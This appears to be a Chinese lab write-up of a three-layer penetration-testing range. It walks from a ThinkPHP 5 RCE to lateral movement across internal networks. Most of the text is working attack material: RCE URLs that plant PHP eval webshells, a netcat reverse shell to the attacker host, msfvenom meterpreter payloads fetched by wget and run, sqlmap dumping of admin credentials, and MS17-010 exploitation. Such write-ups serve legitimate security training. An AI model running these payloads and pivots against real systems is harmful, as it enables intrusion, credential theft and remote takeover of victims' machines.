環境說明:
這個靶機是TeamsSix前輩出的一個靶場,使用的是他的環境。具體網絡配置如下:

kali: 10.10.10.1
win7: 10.10.10.3
target1(linux,模擬DMZ區域)
10.10.10.1
192.168.22.11
taget2(linux)
192.168.22.22
192.168.33.22
target3(win7)
192.168.33.33
虛擬機賬號密碼
root/teamssix.com
administrator/teamssix.com
虛擬機Vmware網卡配置:

Vmnet1 僅主機模式,子網IP:192.168.22.0 子網掩碼:255.255.255.0
Wmnet2 僅主機模式,子網IP:192.168.33.0子網掩碼:255.255.255.0
Vmnet8 NAT模式
Target1 的 IP 和子網掩碼:
ifconfig ens37 192.168.22.11 netmask 255.255.255.0
注釋:ens37 是我們的僅主機模式(VMnet1)的網卡


Targe2 的 IP 和子網掩碼:
ifconfig ens33 192.168.22.22 netmask 255.255.255.0
ifconfig ens38 192.168.33.22 netmask 255.255.255.0


外部打點
target1
nmap 掃描端口(各種信息收集,省略......)

開放80端口,直接訪問,發現目標使用TP5,存在RCE,直接getshell。

ThinkPHP-V5.0-RCE-Getshell 方法:
方法一、直接使用echo寫websehll(注意:linux下使用\轉義$,windows下用^轉義):
POC:
http://10.10.10.4/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" > 1ndex.php
方法二、BASE64編碼繞過

http://10.10.10.4/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd2.php
方法三:反彈shell到我們的nc
KALI:nc -lnvp 6666
目標:nc 10.10.10.1 6666 -e /bin/bash
http://10.10.10.4/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nc 10.10.10.1 6666 -e /bin/bash

這個時候成功獲取 shell!隨后用python獲取一枚 bash:
python -c 'import pty;pty.spawn("/bin/bash")'

第一層內網
在target1靶場兩個flag。


內網滲透階段使用msf,先讓target1上線msf:
msfvenom生成回連木馬:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf > 4444.elf

kali開啟http,webshell端遠程下載elf木馬。
python3 -m http.server 1080
通過webshell端下載木馬:
wget http://10.10.10.1:8090/6666.elf

elf沒有執行權限,需要添加執行權限
chmod +x 4444.elf
msf本地設置監聽以及使用payload:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp

run開啟監聽,終端執行4444.elf文件,反彈shell到msf。

第一層內網信息收集
查看ip:
ifconfig

查看網段:
run get_local_subnets

目標存在內網網段:192.168.22.X ,添加路由,進行內網橫向滲透
添加路由:
run autoroute -s 192.168.22.0/24
background #讓meterpreter會話在后台運行
查看會話命令: sessions -l
sessions ID(會話ID)

meterpreter查看添加的路由命令:
run autoroute -p

內網存活網段掃描:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.1/24
set threads 100


在msf添加代理,使用192.168.22.11(雙網卡,類比真實環境下的DMZ區域)作為跳板進行內網橫向滲透。不添加代理的情況下只有msf是使用代理流量,為了后期的橫向滲透方便,比如使用瀏覽器,或者一些webshell工具的方便性,使用msf的代理模塊+proxychains4進行代理:
use auxiliary/server/socks_proxy
無需配置,直接使用默認的參數

記得執行run/exploit命令
配置proxychains4代理文件:
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
在配置好代理之后,可以使用kali的代理工具proxychains4進行內網滲透。
使用namp工具進行端口掃描看看它開放了那些端口服務:
proxychains4 nmap -Pn -sT 192.168.22.22
注釋:(因為socks4不支持ICMP協議,不用對它使用ping,所以就使用-Pn 參數,而-sT是使用TCP掃描)
掃描結果:

對target2(內網機器192.168.22.22)進行滲透,getshell
配置本地win7代理,訪問target2 80端口。
代理配置情況,socks5 10.10.10.1 1080 (KALI ip地址):

訪問目標站點,存在注入(源碼提示,CTF題目,參考意義不大)

kali 使用proxychains4 SQLMAP一把梳。
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password –dump
此處不使用batch命令,需要手工選定參數,否則跑不出數據。

后台賬號密碼 admin/123qwe
dirsearch或者其它工具尋找登錄:
proxychains4 dirsearch -u "http://192.168.22.22" -e php -i 200
發現目標存在robots.txt,直接登錄后台,修改模板getshell。



鏈接shell成功,注入連接點為:http://192.168.22.22/index.php?r=tag%2Findex#4_0

使用軟件代理工具SocksCap64代理,蟻劍鏈接shell。
SocksCap64配置,這個實驗使用的是socks5,把需要添加代理的軟件拖進程序面板就可以使用代理:

因target2在內網,目標不出網,使用正向鏈接目標的方法讓其上線msf。
生成一個bind正向連接的馬
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf > 5555.elf
直接使用蟻劍上傳至目標。

同樣賦予執行權限。
chmod +x 5555.elf
運行 ./5555.elf
msf設置exp以及payload
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
run
設置情況:

運行后獲得meterpreter情況:

目前msf獲得的會話情況,可以看到兩台主機上線:

對target2進行信息收集,繼續內網橫向滲透。
ifconfig ,可以發現存在192.168.33.22網段。


查看網段:
run get_local_subnets

重復之前類似target1的操作,添加一個路由表到后者:
run autoroute -s 192.168.33.0/24

像收集target1信息一樣,掃描端口:
use auxiliary/scanner/portscan/tcp

運行結果:

掃描完后發現發開放了445和3389端口,因此判斷有可能是windows系統
為了驗證,使用了這個模塊去探測它的操作系統:
use auxiliary/scanner/smb/smb_version
Windwos7-MS17-010提權
使用MSF的模塊進行探測看是否存在永恆之藍,使用的輔助模塊:
use auxiliary/scanner/smb/smb_ms17_010

MSF檢測出 192.168.33.33這台主機存在MS17-010(永恆之藍)。接下來使用這個利用模塊:
use exploit/windows/smb/ms17_010_psexec
注意一下,我們選擇 MS17_010 這個利用模塊后,我們還需要設置一下 Payload,因為它默認的是 reverse_tcp(反向),而它主機不能出外網所以就只能使用正向(bind_tcp)我們去連接它!
payload:
set payload windows/x64/meterpreter/bind_tcp

設置好參數后運行 exploit 獲取到一枚 Meterpreter。

為system權限。

總結:
這個靶場可以學習到如何一步步利用跳板代理橫向到最深處網絡。
-
Thinkphp5.x Rce漏洞利用,三種利用方式,以及echo寫馬的注意事項
-
MSF添加路由和socks代理,將Linux主機作為跳板從而橫向移動
-
八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陸,后台模板Getshell
-
Ms17-010的psexec利用模塊的使用
-
典型的三層網絡環境,通過利用MSF強大的路由功能,不斷添加路由+socks代理,橫向移動到最后一層網絡
-
SocksCap64小紅帽軟件代理工具的使用
-
本靶場只是利用率MSF進行內網進行相關的滲透,橫向移動,但是並沒域控環境,也不需要相關的提權,比較適合小白入門的靶場。下一步結合CS進行使用,注意多種方式、綜合多種類工具進行利用(待完善)。
最后上線情況:

參考鏈接
https://blog.csdn.net/weixin_45447309/article/details/106907920
https://mp.weixin.qq.com/s?__biz=MzI4MTkzNDIyMg==&mid=2247488522&idx=1&sn=372d9a0ecf3926f84e9f4bc24c6040fd&source=41#wechat_redirect
